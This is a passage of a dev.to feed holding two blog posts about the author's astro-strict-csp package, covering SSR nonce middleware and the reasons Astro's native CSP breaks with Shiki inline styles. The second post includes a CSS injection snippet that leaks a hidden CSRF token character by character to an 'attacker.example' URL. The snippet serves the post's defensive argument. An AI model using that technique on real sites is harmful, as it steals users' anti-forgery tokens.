&lt;strong&gt;If &lt;code&gt;output: "server"&lt;/code&gt;:&lt;/strong&gt; It automatically registers a runtime middleware entrypoint using Astro's integration API:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Inside astro:config:setup when output === 'server'&lt;/span&gt;
&lt;span class="nf"&gt;addMiddleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;entrypoint&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'astro-strict-csp/middleware'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'pre'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By registering with &lt;code&gt;order: 'pre'&lt;/code&gt;, the nonce is generated and attached to the request context before any downstream user middleware or page rendering executes.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Bridging Config to the Edge via Vite Virtual Modules
&lt;/h3&gt;

&lt;p&gt;One of the trickiest parts of building an Astro SSR integration is passing user options defined in &lt;code&gt;astro.config.mjs&lt;/code&gt;—like custom CSP directives or excluded route patterns—into the runtime middleware bundle.&lt;/p&gt;

&lt;p&gt;When your SSR app compiles down to a Cloudflare Worker or edge function, there is no local filesystem to read &lt;code&gt;astro.config.mjs&lt;/code&gt; from at runtime, and polluting &lt;code&gt;globalThis&lt;/code&gt; is brittle across isolate boundaries.&lt;/p&gt;

&lt;p&gt;To solve this cleanly, &lt;code&gt;astro-strict-csp&lt;/code&gt; injects a &lt;strong&gt;Vite virtual module plugin&lt;/strong&gt; during &lt;code&gt;astro:config:setup&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Build-Time Serialization:&lt;/strong&gt; The integration registers &lt;code&gt;virtual:astro-strict-csp/config&lt;/code&gt; and serializes the user's configuration object directly into the module graph at build time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lazy Runtime Import:&lt;/strong&gt; When the SSR middleware runs at the edge, it imports &lt;code&gt;virtual:astro-strict-csp/config&lt;/code&gt; just like any bundled ES module—zero filesystem reads, zero runtime parsing overhead, and full compatibility with Cloudflare Workers, Node, and Bun.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Virtual module generated at build time&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;virtualModuleId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'virtual:astro-strict-csp/config'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;resolvedVirtualModuleId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;virtualModuleId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;vite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'astro-strict-csp-config'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nf"&gt;resolveId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;virtualModuleId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resolvedVirtualModuleId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;resolvedVirtualModuleId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sb"&gt;`export default ${JSON.stringify(options)};`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. The Per-Request Nonce Lifecycle (And Excluding CMS Routes)
&lt;/h3&gt;

&lt;p&gt;In SSR mode, every incoming request flows through a four-stage lifecycle inside the middleware:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Generation:&lt;/strong&gt; As soon as a request arrives, the middleware generates a unique cryptographic nonce using the standard Web Crypto API (&lt;code&gt;crypto.randomUUID()&lt;/code&gt;), which runs natively in V8 isolates and modern server runtimes with zero dependencies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context Injection:&lt;/strong&gt; The nonce is attached to &lt;code&gt;context.locals.nonce&lt;/code&gt;, making it immediately available inside any &lt;code&gt;.astro&lt;/code&gt; layout or component via &lt;code&gt;Astro.locals.nonce&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Response Interception:&lt;/strong&gt; Once Astro renders the page, the middleware inspects the outgoing &lt;code&gt;Response&lt;/code&gt;. If the &lt;code&gt;Content-Type&lt;/code&gt; header is &lt;code&gt;text/html&lt;/code&gt;, it constructs the policy string and attaches the &lt;code&gt;Content-Security-Policy&lt;/code&gt; HTTP header:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;   &lt;span class="nc"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'none'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt; &lt;span class="s1"&gt;'nonce-b8a7c2...'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Selective Route Bypass:&lt;/strong&gt; When you run an embedded headless CMS like EmDash alongside your frontend, you don't want your strict frontend policy breaking the CMS admin dashboard or API routes. Version &lt;code&gt;0.3.0&lt;/code&gt; supports route exclusion rules (via string prefixes or &lt;code&gt;RegExp&lt;/code&gt; patterns like &lt;code&gt;/_emdash&lt;/code&gt; or &lt;code&gt;/api/*&lt;/code&gt;) so admin interfaces and webhooks bypass the frontend CSP middleware cleanly.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  5. Critical Security Gotcha: Inline Event Handlers Under Nonce CSP
&lt;/h3&gt;

&lt;p&gt;If you read my v0.2.0 post on compiling inline event handlers, you might wonder how &lt;code&gt;onclick&lt;/code&gt; attributes behave when you switch to SSR nonces.&lt;/p&gt;

&lt;p&gt;Here is the trap that catches almost everyone moving to nonce-based CSP for the first time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;By W3C CSP Level 2 and Level 3 specifications, cryptographic nonces only apply to &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags—never to inline HTML event attributes (&lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onload&lt;/code&gt;, &lt;code&gt;onsubmit&lt;/code&gt;).&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Even if your page has a valid nonce header, writing &lt;code&gt;&amp;lt;button onclick="window.print()"&amp;gt;&lt;/code&gt; in SSR mode will still trigger an &lt;code&gt;'unsafe-inline'&lt;/code&gt; violation and get blocked by the browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In SSR mode, the clean architectural pattern is delegating your event listeners inside a nonced &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block using &lt;code&gt;Astro.locals.nonce&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;button id="print-btn"&amp;gt;Print Article&amp;lt;/button&amp;gt;

&amp;lt;script is:inline nonce={Astro.locals.nonce}&amp;gt;
  document.getElementById('print-btn')?.addEventListener('click', () =&amp;gt; {
    window.print();
  });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Upgrading to &lt;code&gt;v0.3.0&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt; v0.3.0 is live on npm now, still with &lt;strong&gt;zero external dependencies&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm install astro-strict-csp@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm:&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npmjs.com/package/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you are running Astro in SSR mode on Cloudflare Workers, Node, or Bun—or combining it with EmDash—give &lt;code&gt;v0.3.0&lt;/code&gt; a spin and let me know in the &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp/issues" rel="noopener noreferrer"&gt;GitHub Issues&lt;/a&gt; if you run into any edge cases.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>astro</category>
    </item>
    <item>
      <title>Why Astro's Native `security.csp` Breaks on Shiki</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Thu, 29 Oct 2026 22:07:07 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/why-astros-native-securitycsp-breaks-on-shiki-2ai9</link>
      <guid>https://dev.to/evgenii_zinner/why-astros-native-securitycsp-breaks-on-shiki-2ai9</guid>
      <description>&lt;p&gt;Whenever I mention my &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; package, the first question developers usually ask is: &lt;em&gt;"Wait, doesn't Astro already have built-in &lt;code&gt;security.csp&lt;/code&gt; in &lt;code&gt;astro.config.mjs&lt;/code&gt;?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It does—and Astro's native &lt;code&gt;security.csp&lt;/code&gt; is actually the exact reason I still needed to build &lt;code&gt;astro-strict-csp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you enable Astro's built-in CSP on a real project that uses Markdown code blocks, &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt; components, or UI islands, your pages immediately break or flood the browser console with Content Security Policy violations. When you check the official Astro documentation for how to fix it, the recommended workarounds are either &lt;strong&gt;switching your syntax highlighter from Shiki to Prism&lt;/strong&gt;, or &lt;strong&gt;adding &lt;code&gt;'unsafe-inline'&lt;/code&gt; to &lt;code&gt;style-src&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here is why Astro's native CSP hits that wall, why switching from Shiki to Prism is a painful downgrade for a technical blog, and how extracting inline styles at build time solves both problems cleanly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Native &lt;code&gt;security.csp&lt;/code&gt; Stops at Inline Styles
&lt;/h2&gt;

&lt;p&gt;Astro's built-in &lt;code&gt;security.csp&lt;/code&gt; does a fine job computing hashes for &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags and client hydration shims. Where it runs into a wall is &lt;strong&gt;inline &lt;code&gt;style="..."&lt;/code&gt; attributes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To be fair to the Astro team, this limitation comes directly from the W3C Content Security Policy specification itself:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Browsers only allow CSP hashes and nonces on &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks:&lt;/strong&gt; You can whitelist &lt;code&gt;&amp;lt;style&amp;gt;body { color: red; }&amp;lt;/style&amp;gt;&lt;/code&gt; with a SHA-256 hash or a nonce, but the W3C spec does not allow hashing or noncing an inline HTML attribute like &lt;code&gt;&amp;lt;span style="color: #F97583"&amp;gt;&lt;/code&gt; (unless you enable &lt;code&gt;'unsafe-hashes'&lt;/code&gt; and individually list the hash of every unique attribute string in your HTTP header, which would blow past server header size limits on a single code-heavy page).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Astro emits thousands of inline &lt;code&gt;style="..."&lt;/code&gt; attributes by default:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shiki&lt;/strong&gt; (Astro's default syntax highlighter) colors every single code token using inline &lt;code&gt;&amp;lt;span style="color: #..."&amp;gt;&lt;/code&gt; attributes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Astro &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt;&lt;/strong&gt; injects inline layout and aspect-ratio styles.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UI Islands&lt;/strong&gt; (React, Vue, Svelte, Preact) and SVGs frequently emit inline style attributes during server-side rendering.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because Astro's native CSP pipeline doesn't rewrite HTML attributes into external stylesheets, turning on &lt;code&gt;security.csp&lt;/code&gt; leaves you with two official options: add &lt;code&gt;'unsafe-inline'&lt;/code&gt; to your &lt;code&gt;style-src&lt;/code&gt; policy (which disqualifies you from an &lt;code&gt;A+&lt;/code&gt; on Mozilla HTTP Observatory and triggers warnings in strict security audits), or ditch Shiki for Prism.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; in &lt;code&gt;style-src&lt;/code&gt; Actually Matters
&lt;/h2&gt;

&lt;p&gt;To be realistic: if you run a static personal blog with zero logins, zero forms, and no user data, skipping CSP won't get you hacked tomorrow. &lt;/p&gt;

&lt;p&gt;However, as soon as an Astro project includes authentication, forms, a headless CMS with rich-text HTML blocks (like EmDash), payment pages, or third-party scripts, leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; open—even just for styles—creates real problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. CSS Alone Can Leak Server-Rendered Tokens (&lt;code&gt;style-src 'unsafe-inline'&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;A lot of developers assume that as long as inline JavaScript is blocked (&lt;code&gt;script-src 'self'&lt;/code&gt;), allowing &lt;code&gt;'unsafe-inline'&lt;/code&gt; inside &lt;code&gt;style-src&lt;/code&gt; is harmless because CSS only controls colors and fonts.&lt;/p&gt;

&lt;p&gt;While CSS cannot read live keystrokes inside a standard password field unless a framework mirrors them into the DOM attribute, injected CSS &lt;em&gt;can&lt;/em&gt; read secrets that the server renders into HTML attributes—like hidden CSRF inputs (&lt;code&gt;&amp;lt;input type="hidden" name="csrf_token" value="..."&amp;gt;&lt;/code&gt;) or pre-filled profile fields. If your site allows external images (&lt;code&gt;img-src https:&lt;/code&gt;), an injected style can brute-force those attributes character by character using standard CSS prefix selectors (&lt;code&gt;^=&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="c"&gt;/* If the hidden CSRF token starts with 'a', the browser requests the attacker's URL */&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"csrf_token"&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;"https://attacker.example/leak?char=a"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"csrf_token"&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"b"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;"https://attacker.example/leak?char=b"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the browser paints the page, it evaluates the matching selector and fires off a network request for the background image. And even without data exfiltration, style injection lets an attacker redress the UI—hiding security warnings or floating fake payment links over real buttons.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Supply Chain Attacks and Subresource Integrity (&lt;code&gt;polyfill.io&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;When the &lt;code&gt;polyfill.io&lt;/code&gt; CDN domain was bought by a malicious operator in 2024, over 100,000 websites embedding scripts from it started silently redirecting visitors to scam and betting sites.&lt;/p&gt;

&lt;p&gt;Sites relying on plain script tags executed the modified payload immediately. Sites enforcing strict CSP paired with cryptographic Subresource Integrity (&lt;code&gt;integrity="sha384-..."&lt;/code&gt;) blocked the file at the network layer the moment the file hash changed. And when someone inevitably makes a mistake in a CMS rich-text block or a DOM utility that reads &lt;code&gt;window.location.hash&lt;/code&gt;, a strict policy turns a reflected XSS exploit into a harmless console error (&lt;code&gt;Refused to execute inline script&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Enterprise Procurement, Mozilla Observatory, and PCI-DSS 4.0
&lt;/h3&gt;

&lt;p&gt;Even if you aren't worried about clever CSS selectors, security auditors and enterprise buyers check these headers mechanically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PCI-DSS 4.0 (Sections 6.4.3 and 11.6.1):&lt;/strong&gt; E-commerce and checkout pages are explicitly required to verify the authorization and integrity of all scripts running in the customer's browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner Grades &amp;amp; Vendor Reviews:&lt;/strong&gt; When a SaaS team sells to a larger company, the buyer's security team runs Mozilla HTTP Observatory or Google CSP Evaluator against the domain. Putting &lt;code&gt;'unsafe-inline'&lt;/code&gt; in &lt;code&gt;script-src&lt;/code&gt; drops your Observatory grade straight to a C/D, and leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; inside &lt;code&gt;style-src&lt;/code&gt; triggers the &lt;code&gt;csp-implemented-with-unsafe-inline-in-style-src-only&lt;/code&gt; finding—blocking the extra-credit bonus required to reach an &lt;strong&gt;A+&lt;/strong&gt; and leaving warnings on the audit report.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Switching from Shiki to Prism Hurts
&lt;/h2&gt;

&lt;p&gt;When I first read the suggestion to replace Shiki with Prism just to satisfy CSP headers, I looked into what that switch actually costs.&lt;/p&gt;

&lt;p&gt;Prism was great when it came out over a decade ago, because it outputs generic CSS classes (&lt;code&gt;&amp;lt;span class="token keyword"&amp;gt;&lt;/code&gt;) that you style with a single static &lt;code&gt;.css&lt;/code&gt; file. However, Astro made &lt;strong&gt;Shiki&lt;/strong&gt; the default highlighter for three very good reasons:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. VS Code AST Grammars vs. Regex Guessing
&lt;/h3&gt;

&lt;p&gt;Shiki runs the exact same TextMate grammar engine that powers VS Code. It understands nested TypeScript generics (&lt;code&gt;&amp;lt;T extends Record&amp;lt;string, unknown&amp;gt;&amp;gt;&lt;/code&gt;), JSX components inside ternary expressions, template literals, and modern languages like Rust, Zig, and Gleam without losing track of the syntax tree.&lt;/p&gt;

&lt;p&gt;Prism relies on regular expressions. On modern TypeScript or TSX snippets, regex tokenization regularly confuses generic brackets with HTML tags, miscolors nested string interpolations, and flattens everything into a handful of coarse &lt;code&gt;.token.operator&lt;/code&gt; or &lt;code&gt;.token.punctuation&lt;/code&gt; classes.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. True 24-Bit VS Code Themes vs. Flat 16-Color Sheets
&lt;/h3&gt;

&lt;p&gt;Because Shiki resolves every token against real VS Code theme files (GitHub Dark, Catppuccin, Tokyo Night, One Dark Pro) at build time, it distinguishes between a function declaration, a function call, a type parameter, and a property access—baking the exact hex color into each &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color: #F97583"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;import&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color: #79B8FF"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;defineConfig&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also supports dual light/dark mode themes natively using CSS custom properties on those spans. With Prism, you give up VS Code themes completely and have to maintain separate, coarse 16-color stylesheets for light and dark mode by hand.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Build-Time vs. Client-Side Payload
&lt;/h3&gt;

&lt;p&gt;In a pure static Astro build, both Shiki and Prism can run at build time with zero client-side JavaScript. However, if you use a CMS or render dynamic Markdown previews on the client, running Prism in the browser means shipping the Prism JS runtime and grammar bundles to the visitor's device and running regex passes on the DOM after page load—introducing layout shifts and extra payload that Shiki's pre-rendered HTML avoids completely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Keeping Shiki &lt;em&gt;and&lt;/em&gt; Strict CSP
&lt;/h2&gt;

&lt;p&gt;I didn't want to downgrade my code blocks to Prism, and I didn't want &lt;code&gt;'unsafe-inline'&lt;/code&gt; in my security headers.&lt;/p&gt;

&lt;p&gt;The way &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; solves this is by letting Shiki, &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt;, and your UI components emit all the inline &lt;code&gt;style="..."&lt;/code&gt; attributes they want during the Astro build, and then cleaning them up during the &lt;code&gt;astro:build:done&lt;/code&gt; hook:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Deduplicated Utility Classes:&lt;/strong&gt; It scans the generated HTML, extracts every &lt;code&gt;style="color: #F97583"&lt;/code&gt; attribute, hashes the normalized CSS rule into a short deterministic class (&lt;code&gt;.is-7f3b1a&lt;/code&gt;), and replaces the inline &lt;code&gt;style&lt;/code&gt; attribute with that class.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One Tiny External Stylesheet:&lt;/strong&gt; Across an entire site, tens of thousands of Shiki token spans only use a few dozen unique hex colors. All of them collapse into a single ~3 kB external stylesheet (&lt;code&gt;/_astro/inline-styles.css&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full SRI &amp;amp; Header Generation:&lt;/strong&gt; Every script and stylesheet gets a &lt;code&gt;sha384&lt;/code&gt; Subresource Integrity hash, inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks and &lt;code&gt;onclick&lt;/code&gt; handlers are compiled into external &lt;code&gt;.js&lt;/code&gt; bundles, and both &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; policies and Cloudflare/Netlify &lt;code&gt;dist/_headers&lt;/code&gt; are generated with zero &lt;code&gt;'unsafe-inline'&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Astro Native &lt;code&gt;security.csp&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; handling&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hashes / &lt;code&gt;strict-dynamic&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Extracts to external &lt;code&gt;.js&lt;/code&gt; files + SHA-384 SRI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;style="..."&lt;/code&gt; attributes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not supported (requires &lt;code&gt;'unsafe-inline'&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Extracts into deduplicated &lt;code&gt;.is-[hash]&lt;/code&gt; classes in external &lt;code&gt;.css&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Works with Shiki out of the box&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No (requires switching to Prism or &lt;code&gt;'unsafe-inline'&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Yes (keeps Shiki + &lt;code&gt;style-src 'self'&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;onclick&lt;/code&gt; / event attributes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blocked by strict CSP&lt;/td&gt;
